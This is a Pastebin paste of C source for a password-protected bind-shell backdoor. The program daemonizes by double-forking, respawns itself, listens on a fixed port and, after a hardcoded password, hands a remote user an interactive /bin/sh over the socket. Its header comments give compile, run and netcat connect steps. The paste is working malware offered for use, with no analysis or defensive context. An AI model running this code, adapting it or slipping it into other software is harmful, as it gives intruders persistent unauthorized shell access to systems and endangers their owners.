Advertisement
Guest User

Untitled

a guest
Sep 23rd, 2019
102
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.05 KB | None | 0 0
  1. /*
  2. ** compile: `gcc backdoor.c -o target`
  3. ** exec: `./target`
  4. ** connect: `nc host port` then you have 10s for typing the password
  5. ** You can change the password and the listening port
  6. */
  7.  
  8. // change the password
  9. char *password = "issou";
  10.  
  11. // change the listening port
  12. int port = 20226;
  13.  
  14. #include <sys/socket.h>
  15. #include <sys/types.h>
  16. #include <sys/wait.h>
  17.  
  18. #include <netinet/in.h>
  19. #include <stdlib.h>
  20. #include <unistd.h>
  21. #include <string.h>
  22.  
  23. char *args[] = { "/bin/sh", NULL };
  24.  
  25. void open_backdoor (char *argv[], char *envp[]) {
  26. int accepted;
  27. int sock;
  28. struct sockaddr_in addr;
  29.  
  30. sock = socket(AF_INET, SOCK_STREAM, 0);
  31.  
  32. int one = 1;
  33. setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
  34.  
  35. addr.sin_family = AF_INET;
  36. addr.sin_port = htons(port);
  37. addr.sin_addr.s_addr = INADDR_ANY;
  38.  
  39. bind(sock, (struct sockaddr *) &addr, sizeof(addr));
  40.  
  41. listen(sock, 0);
  42.  
  43. while (accepted = accept(sock, NULL, NULL)) {
  44. if (!fork()) {
  45. char buffer[strlen(password)];
  46. // on a 10s pour entrer le password sinon on se fait tej :)
  47. struct timeval timeout;
  48. timeout.tv_sec = 10;
  49. timeout.tv_usec = 0;
  50.  
  51. setsockopt(accepted, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  52.  
  53. recv(accepted, buffer, strlen(password), 0);
  54.  
  55. if (memcmp(buffer, password, strlen(password)) != 0) {
  56. close(accepted);
  57. exit(0);
  58. }
  59.  
  60. timeout.tv_sec = 0;
  61. timeout.tv_usec = 0;
  62.  
  63. // on tej le timeout une fois qu'on est log
  64. setsockopt(accepted, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  65.  
  66.  
  67. dup2(accepted, 2);
  68. dup2(accepted, 1);
  69. dup2(accepted, 0);
  70.  
  71. execve(args[0], args, envp);
  72. }
  73.  
  74. close(accepted);
  75. }
  76. }
  77.  
  78. int main(int argc, char *argv[], char *envp[])
  79. {
  80. int pid;
  81. if (fork()) return 0;
  82. if (fork()) return 0;
  83.  
  84. while (1) {
  85. pid = fork();
  86. if (pid <= 0) {
  87. open_backdoor(args, envp);
  88. break;
  89. }
  90.  
  91. wait(NULL);
  92. }
  93.  
  94. open_backdoor(args, envp);
  95. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement